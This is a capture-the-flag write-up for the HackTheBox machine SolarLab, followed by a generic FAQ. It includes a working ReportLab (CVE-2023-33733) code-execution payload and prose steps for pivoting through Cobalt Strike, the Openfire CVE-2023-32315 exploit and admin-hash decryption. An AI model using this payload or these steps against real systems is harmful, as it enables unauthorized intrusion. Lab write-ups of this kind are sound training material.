In this walkthrough, I demonstrate how I obtained complete ownership of SolarLab on HackTheBox.
Lets Solve SolarLab HTB Writeup
SolarLab is a notable challenge within the HacktheBox community, demanding a comprehensive understanding of cybersecurity and penetration testing. By immersing ourselves in this hands-on experience, we gain invaluable insights into the real-world scenarios faced by ethical hackers in securing digital environments.
HTB SolarLab link: https://app.hackthebox.com/machines/SolarLab
Intelligence
Scan ports:
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to <http://solarlab.htb/>
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6791/tcp open http nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to <http://report.solarlab.htb:6791/>
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -21s
| smb2-time:
| date: 2024-05-13T16:13:30
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Add domains to / etc / hosts
echo "10.10.11.16 solarlab.htb" | sudo tee -a /etc/hosts
echo "10.10.11.16 report.solarlab.htb" | sudo tee -a /etc/hosts
We get to the satika:
User flag
We connect by smb to anonymous
Download the table with passwords
We log under the Blakeb user. We get here:
We stumble upon a PDF generator. We look at the metadata of the file. We see that the document is generated using the Report Lab PDF Library
Having found popular vulnerabilities on the Internet, we stumble upon CVE-2023-33733. This is a vulnerability in the ReportLab library associated with unsafe processing of input data, which allows an attacker to execute arbitrary code.
Read more here: https://github.com/c53elyas/CVE-2023-33733
PoC:
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('Здесь мог бы быть ваш payload') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
Intercept the request in burpsuite, implement the payload
We get shell, read user-flag
Root flag
View open ports
We launch Cobaltstrike, where we generate SOCKS4 at port 57378. Alternatively to Cobalt, porting can be used https://github.com/Pokefenn/Chisel
Using proxychains check connection
Through FoxyProxy we get access to the local Web at 9090 port
We are met by the form of the Openfire login
We start MSF console by throwing all traffic through the captured car
We will use the exploit for CVE-2023-32315. He will create a new account for us and return the shell
Go to the database file directory
Find the Openfire database
We pull out the administrator hash
Broome with it OpenFireDecryptPass
Download to target car RunasCs.exe. It allows you to create a process on behalf of the administrator (if the password is known) with full privileges
Having previously downloaded openfire Shell.exe to the user’s desktop, run exe and catch it in cobalt
We read root-flag
FAQ
What is the SolarLab challenge on HacktheBox?
The SolarLab challenge on HacktheBox is a simulated cybersecurity challenge that tests participants’ hacking skills and knowledge. It presents a realistic scenario in which players must navigate through a virtual environment, identifying vulnerabilities, exploiting them, and escalating privileges to complete the challenge objectives.
What skills are required to tackle the SolarLab challenge?
Tackling the SolarLab challenge requires proficiency in various areas, including network reconnaissance, vulnerability scanning, exploit development, privilege escalation, and post-exploitation techniques. Participants must have a solid understanding of penetration testing methodologies, common hacking tools, and techniques to successfully navigate the challenge.
What is the initial reconnaissance phase in the SolarLab challenge?
The initial reconnaissance phase in the SolarLab challenge involves gathering information about the target network and infrastructure. Hackers leverage various methods and tools like port scanning, banner grabbing, and enumeration to identify potential entry points and understand the layout and technologies used in the SolarLab environment.
How is scanning and enumeration performed in the SolarLab challenge?
Scanning and enumeration in the SolarLab challenge involve using tools such as Nmap and enumeration scripts to identify open ports, services, and potential vulnerabilities. This phase helps hackers gather valuable information about the target system, including running services, software versions, and misconfigurations that may lead to exploitable vulnerabilities.
What is the process of exploiting vulnerabilities in the SolarLab challenge?
Exploiting vulnerabilities in the SolarLab challenge involves identifying and leveraging weaknesses within the target system or applications. Hackers may utilize exploit frameworks, custom scripts, or manual exploitation techniques to exploit vulnerabilities, gain unauthorized access, and achieve the desired objectives of the challenge.
How do you escalate privileges in the SolarLab challenge?
Privilege escalation in the SolarLab challenge involves elevating user privileges to gain access to restricted files, directories, or systems. Hackers make use of various techniques like exploiting misconfigurations, leveraging kernel vulnerabilities, and abusing weak access controls to escalate privileges within the target environment.
What is the post-exploitation phase in the SolarLab challenge?
The post-exploitation phase in the SolarLab challenge focuses on maintaining access, exfiltrating data, and exploring the compromised system. Hackers may set up backdoors, establish persistence mechanisms, perform lateral movement to other systems, or extract sensitive information to achieve the intended goals of the challenge.
How important is analysis and reporting in the SolarLab challenge?
Analysis and reporting play a crucial role in the SolarLab challenge as they enable hackers to document their findings, actions, and techniques used throughout the challenge. Proper analysis helps identify areas of improvement, while comprehensive reporting showcases the skills and knowledge gained during the hands-on experience, enhancing the ethical hacking and penetration testing capabilities of participants.
What can be learned from completing the SolarLab challenge?
Completing the SolarLab challenge provides valuable hands-on experience in various aspects of ethical hacking and penetration testing. Participants gain insights into real-world hacking scenarios, improve their technical skills, enhance their problem-solving abilities, and develop a deep understanding of secure system configurations and vulnerabilities that can be used to improve cybersecurity practices.
